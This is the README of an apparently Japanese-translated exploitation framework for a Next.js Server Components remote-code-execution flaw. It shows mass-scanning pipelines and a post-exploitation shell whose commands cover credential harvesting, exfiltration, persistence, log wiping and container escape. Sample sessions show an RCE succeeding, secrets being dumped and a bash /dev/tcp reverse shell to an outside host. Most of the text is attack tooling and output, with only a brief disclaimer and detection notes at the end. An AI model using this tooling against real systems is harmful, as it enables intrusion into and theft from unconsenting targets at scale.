
R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.
R2S は、Next.js React Server Components の脆弱性 (CVE-2025-55182) を標的とした包括的なエクスプロイトおよびポストエクスプロイトフレームワークです。ファイル転送、永続化、列挙、権限昇格チェックなど、ペネトレーションテスト向けの高度な機能を備えたインタラクティブシェルを提供します。
.env ファイルおよび設定ファイル# Python 3.6 or higher
python3 --version
# Install dependencies
pip3 install requests urllib3
# Clone or download the tool
cd r2s-main
# Make executable (optional)
chmod +x r2s_enhanced.py
# Run the tool
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPTIONS]
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
RCE アクセスを獲得すると、以下のコマンドが使用できるインタラクティブシェルに入ります。
upload <local_file> <remote_path> # ファイルをターゲットにアップロード
download <remote_file> <local_path> # ファイルをターゲットからダウンロード
cd <directory> # 作業ディレクトリを変更
pwd # 作業ディレクトリを表示
enum # 完全なシステム列挙
privesc # 権限昇格チェック
harvest # 認証情報収集
portscan <ip> # 内部ネットワークポートをスキャン
memdump [pid] # シークレットのためにプロセスメモリをダンプ
lateral # 横展開の機会
escape # コンテナエスケープベクター
exfil [type] # データを外部送信 (env/config/keys/db/logs/all)
reverse <lhost> <lport> # 複数のリバースシェルペイロードを試行
persist # 基本永続化を追加
advpersist # 高度な永続化を追加
stealth # ログを消去し痕跡を隠蔽
save # 現在のセッションを保存
help, ? # ヘルプメッセージを表示
exit, quit # インタラクティブシェルを終了
任意のシェルコマンドを直接実行:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id
[VULN] http://vulnerable-app.com >>> RCE SUCCESS
Output: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse
[+] HTTP server started on 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Starting automated enumeration...
============================================================
[*] System Info
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Current User
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Container Detection
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker container detected]
...
# Upload a file
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Uploading /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload successful!
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# Download a file
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Downloading /etc/passwd via HTTP...
[+] Download successful! (1523 bytes)
Saved to: ./passwd.txt
next-rce:/app$ harvest
[*] Harvesting credentials...
[*] Environment Variables:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] .env Files:
/app/.env
/app/.env.production
/var/www/.env.local
[*] SSH Keys:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Starting reverse shell attempts to 192.168.1.100:4444
[!] Make sure you have a listener running: nc -lvnp 4444
[*] Trying 25 different reverse shell payloads...
[1/25] Trying Bash TCP... ✓ Executed
[?] Did you receive a connection? (y/n/s to stop): y
[+] SUCCESS! Reverse shell established using: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] Loaded 3 targets. Starting scan with 50 threads...
[VULN] http://app1.example.com >>> RCE SUCCESS
[VULN] http://app3.example.com >>> RCE SUCCESS
[*] Scan completed.
next-rce:/app$ privesc
[*] Checking privilege escalation vectors...
[*] SUID Binaries:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Sudo Permissions:
User node may run the following commands:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Docker Group:
In docker group - EXPLOITABLE!
...
next-rce:/app$ escape
[*] Checking container escape vectors...
[*] Container Type:
12:devices:/docker/a1b2c3d4e5f6
[*] Privileged Container:
PRIVILEGED
[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Full capabilities - container is privileged]
...
このツールには、複数の言語とテクニックにわたる 25 種類以上のリバースシェルペイロード が含まれています:
以下から認証情報を自動検出および抽出:
以下を識別および分析:
教育目的および許可されたテスト専用
このツールは教育目的および許可されたペネトレーションテストのみを目的として提供されています。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。作者は本ツールの誤用または損害について一切の責任を負いません。
合法的な使用のための要件:
検出方法:
Next-Action ヘッダーを監視child_process.execSync を監視緩和策:
貢献は歓迎します!すべての貢献が教育および防御セキュリティ目的であることを確認してください。
G4rxd
このプロジェクトは教育目的および許可されたテスト目的のみでライセンスされています。
⚡ ハッピーエシカルハッキング! ⚡
大いなる力には大いなる責任が伴うことを忘れずに。
| オプション | 説明 | デフォルト |
|---|
-u, --url | 単一のターゲットURL | - |
-l, --list | URLリストを含むファイル | - |
-c, --cmd | 実行する初期コマンド | id |
-t, --threads | スキャンスレッド数 | 30 |
-p, --proxy | HTTPプロキシ (例: http://127.0.0.1:8080) | - |
-v, --verbose | 詳細出力を有効化 | False |
--http-port | ファイル転送用HTTPサーバーポート | 8000 |